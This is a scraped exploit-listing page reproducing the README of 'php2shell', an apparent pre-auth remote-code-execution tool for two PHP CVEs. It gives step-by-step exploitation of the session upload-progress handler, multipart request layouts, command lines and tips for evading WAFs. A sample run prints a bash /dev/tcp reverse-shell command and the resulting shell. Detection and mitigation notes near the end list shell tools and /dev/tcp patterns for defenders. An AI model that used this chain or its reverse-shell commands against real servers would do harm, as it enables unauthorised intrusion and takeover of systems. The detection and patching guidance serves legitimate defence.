Skip to content
Exploit for CVE-2026

Exploit for CVE-2026

Sploitus • October 21, 2026

[![Php2Shell-POC](

[![CI](

[![Stars](

[![Forks](

[![Issues](

[![Last commit](

[![Pages](

[![CVE-2026-109618](

[![CVE-2026-109619](

[![CVSS v4.0](

[![License: MIT](

[![Python](

[![Dependencies](

[![No account needed](

[![Platform](

nc -lvnp 4444 in one terminal, python3 php2shell.py -l -p 4444 in the other.

- [The vulnerabilities](#-the-vulnerabilities)

- [Command-line options](#-command-line-options)

`php2shell.py` takes **one URL** and gives you **remote code execution** on

the target — a reverse shell, or the output of any command you like. It

speaks plain HTTP(S) only, needs **no account**, **no target-side helper

file**, and **no third-party Python dependency**.

| **CVE-2026-109618** | RCE via OOM corruption |

| **CVE-2026-109619** | RCE via stale global state |

| **Affected** | PHP 5.4 → 8.5.x (8.1 and older are EOL and never patched) |

| **Fixed in** | PHP 8.5.12 · 8.4.27 · 8.3.36 · 8.2.35 |

| **Requirements** | Python 3.8+, standard library only |

git clone

python3 php2shell.py -l 10.0.0.5 -p 4444

python3 php2shell.py -c 'id'

The PoC prints exactly what it did, and says clearly when a target cannot

be exploited (no PHP endpoint, no session fixation, or no inclusion sink).

> **CVE-2026-109618** — RCE via OOM corruption. An out-of-memory

> condition can interrupt PHP while internal request data is only partially

> initialised. Request cleanup may then treat the invalid data as valid.

> **CVE-2026-109619** — RCE via stale global state. Request-owned internal

> state can survive after its backing memory has been freed. A later request

> handled by the same worker may use that stale state before normal

The reachable surface is the **session upload-progress handler** in

`ext/session/session.c`, which has three independent problems:

1. **Session fixation (pre-auth).** `MULTIPART_EVENT_FORMDATA` copies the

POST-body field whose name is PHP's `session.name` into the progress

session id, **ignoring `session.use_only_cookies`**. The attacker

therefore picks the session id — and hence the on-disk session file name.

2. **Unvalidated file name.** `MULTIPART_EVENT_FILE_START` stores the

*raw* uploaded file name into the session data, with no sanitisation.

3. **Attacker-controlled session content.** The POST-body field named

`PHP_SESSION_UPLOAD_PROGRESS` becomes the session key

Because the progress data is serialised into the attacker's *own* session

file, and PHP's session serialiser is not a sandbox, the attacker fully

controls the **content** of a file whose name is **fully predictable**:

Content-Type: multipart/form-data; boundary=X

Content-Disposition: form-data; name="PHPSESSID"

Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

Content-Disposition: form-data; name="f"; filename="a.txt"

The session id is now known, so the session file path is known too.

### Step 2 — writing attacker content into the session file

The `PHP_SESSION_UPLOAD_PROGRESS` value becomes the session key

`upload_progress_`, and the session serialiser writes it verbatim.

upload_progress_|a:5:{s:10:"start_time";i:...}

The payload is base64 encoded, so it can carry **any** command without

tripping the session serialiser's `|` and newline restrictions.

If the application includes the session file (an `include()`/`require()`

sink), the embedded `` block runs and the command's output

The PoC auto-detects this by poisoning a session with a harmless marker

and looking for the marker in the response, trying the common parameter

names (`page`, `file`, `path`, `doc`, `include`, `view`, `lang`, …) against

the common save paths (`/tmp`, `/var/lib/php/sessions`, …).

### Strategy 1 — session file poisoning + inclusion sink

The most general approach: works against any target with an

`include()`/`require()` sink that can be pointed at a session file, and

needs **no knowledge of the target's PHP build**.

- `session.upload_progress.enabled = On` (PHP default)

- `session.upload_progress.cleanup = Off` — so the poisoned entry is not

deleted at the end of the upload (**PHP's default is `On`**, so this has

- an `include()`/`require()` sink reachable with a user-controlled path

### Strategy 2 — serialiser handler mismatch → object injection

If two directories use different `session.serialize_handler` values, a

session written as `php_serialize` and read back with the `php` handler is

re-parsed as a `key|value` stream. A file name containing `|` shifts the

parse so that attacker bytes get deserialised as a serialized object, whose

`__destruct` runs during cleanup — **even though the decode returns

FAILURE**, because `__destruct` fires on both the success and the failure

- two reachable directories with different `session.serialize_handler`

- a class with a useful `__destruct` that is autoloadable on the target

-l, --lhost reverse shell listener address

-p, --lport reverse shell listener port (default 4444)

-c, --cmd command to execute instead of a reverse shell

--sid session id to use (default: random)

--session-name PHP session name (default: auto-detected, usually

--fix-by how the chosen session id is sent: "body" (the CVE

route, default) or "cookie" (the early_find_sid route)

--save-path server-side session save path

--sink inclusion sink URL, e.g. '/index.php?page='

--write-path php_serialize directory (strategy 2)

--read-path php directory (strategy 2)

--gadget serialized object injected by strategy 2

--all try every strategy (default behaviour)

--no-banner do not print the watermelon banner

--timeout per-request timeout in seconds (default 30)

### Reverse shell, everything auto-detected

$ python3 php2shell.py -l 127.0.0.1 -p 4444 -v

php2shell - CVE-2026-109618 / CVE-2026-109619 (pre-auth RCE)

[*] target :

[*] session : u9bavj3i070qhddg8vfptmhluj

[*] command : bash -c 'exec bash -i >& /dev/tcp/127.0.0.1/4444 0>&1' /dev/null 2>&1 &

[*] probe /sink.php -> HTTP 200 PHP/8.4.24 Apache/2.4.68 (Debian) PHP/8.4.24 [PHP]

[*] checking pre-auth session fixation ...

[+] session fixation accepted by the target

[*] no --sink given, probing for an include() sink ...

[+] found sink: /sink.php?page= (session file /tmp/sess_u9bavj3i070qhddg8vfptmhluj)

[*] poisoned session (attempt 1, session name PHPSESSID, id via POST body) HTTP 200

[*] trigger via /sink.php?page=/tmp/sess_u9bavj3i070qhddg8vfptmhluj -> HTTP 200 (712 bytes)

bash: impossible de régler le groupe de processus du terminal: Ioctl() inapproprié

python3 php2shell.py -l 10.0.0.5 -p 4444 \

--sink '/index.php?page=' --save-path /var/lib/php/sessions

python3 php2shell.py -c 'id'

### Serialiser handler mismatch (no LFI needed)

python3 php2shell.py \

--write-path /app/upload.php --read-path /api/endpoint.php -c 'id'

The PoC refuses to fire and says so, instead of failing silently:

[*] probe /index.php -> HTTP 500 nginx

[*] probe / -> HTTP 200 nginx

Every candidate path either errored out (HTTP 5xx) or was

served by the web server without ever reaching a PHP

interpreter (no X-Powered-By, no PHP fingerprint).

- an unpatched PHP: **' --save-path /var/lib/php/sessions

**`the target did not echo the session id we sent`**

A warning, not an error: plenty of applications never resend their session

cookie, and the chain still works if the session *file* is created under

the id we chose. If the exploit does not fire, the session name is

probably not the one that was detected — pass it explicitly with

`--session-name`. The name is auto-detected from the cookies the target

sets, but a lot of applications rename the session, and some regenerate

the id (`session_regenerate_id`) or roll their own session layer — in the

latter two cases this chain cannot work on that target at all.

**The session id is ignored in the POST body but accepted in a cookie**

Some applications regenerate the id they are given in the body while

still honouring the one in the cookie. The upload-progress handler reaches

the session id by two routes, and the cookie one is the second:

python3 php2shell.py -l 10.0.0.5 -p 4444 --fix-by cookie

**The payload is delivered but nothing happens**

`system()`, `exec()`, `passthru()`, `shell_exec()` and `proc_open()` are

frequently disabled with `disable_functions`. Check the target's

configuration; if the shell functions are gone, use another execution

**Every multipart POST returns 403 / 406 / 429**

A WAF, an `.htaccess` rule or a rate limiter in front of the application.

A 406 in particular usually means a WAF is inspecting the request body.

Note that the upload-progress handler needs a **file part** to write the

payload, so a WAF that blocks file uploads blocks the whole chain.

Alert when a PHP worker process spawns a child it should never spawn:

- workers: `php-fpm`, `php-cgi`, `lsphp`, `httpd`, `apache2`

- children: `/bin/sh`, `/bin/bash`, `cmd.exe`, `powershell.exe`, `python`,

`perl`, `curl`, `wget`, `nc`, `certutil.exe`

- command lines containing `/dev/tcp/`, `fsockopen`, `mkfifo`

- immediate reconnaissance: `whoami`, `id`, `uname -a`, `ipconfig`

- grep the web access logs for `PHP_SESSION_UPLOAD_PROGRESS`

- look for session files containing `upload_progress_` followed by `<?php`

- watch for new files in the web root, `/tmp`, `/var/tmp`, new cron jobs

Update PHP to **8.5.12 / 8.4.27 / 8.3.36 / 8.2.35**, or to your vendor's

backport. Until then, per the official advisory:

; CVE-2026-109619 - blocks the confirmed session paths.

; Set it before request parsing (php.ini, FPM pool or server config)

; and RESTART every worker. ini_set() and .user.ini are not enough.

; CVE-2026-109618 - removes the controllable memory-limit failure.

; Use php_admin_value in the FPM pool or the Apache configuration so

; Keep the request small; lower it if the app does not need uploads.

post_max_size = 8M ; 32M if file uploads are required

session.serialize_handler = php_serialize ; consistently, everywhere

disable_functions = exec,passthru,shell_exec,system,proc_open,popen

- The PHP security team, for the advisory and the patches

- [watchTowr — PHP CVE-2026-109618 FAQ](

- [sansec — PHP2Shell research](

- [Hadrian — php2shell exploited in the wild](

- [CERT-EU advisory 2026-018](

- [PHP session upload-progress internals](

- [PHP multipart parser](

- The researchers who published their chains in the open, including

`eness`, `9bie`, `ikow`, `iQingshan`, `dinosn` and `19h`

This project is listed under the GitHub topics

`cve-2026-109618`, `cve-2026-109619`, `php2shell`, `reverse-shell`,

`rce`, `exploit`, `poc`, `pre-auth`, `use-after-free`, `heap-uaf`,

Report a problem, request a feature, or ask a question on the

[issue tracker]( or in

[discussions](

For **authorised security testing and education only**. Use only against

systems you own or have explicit written permission to test. The authors

accept no liability for any misuse of this tool.

Extracted Entities

Attack Types (1)

Companies (1)

Domains (1)

Platforms (2)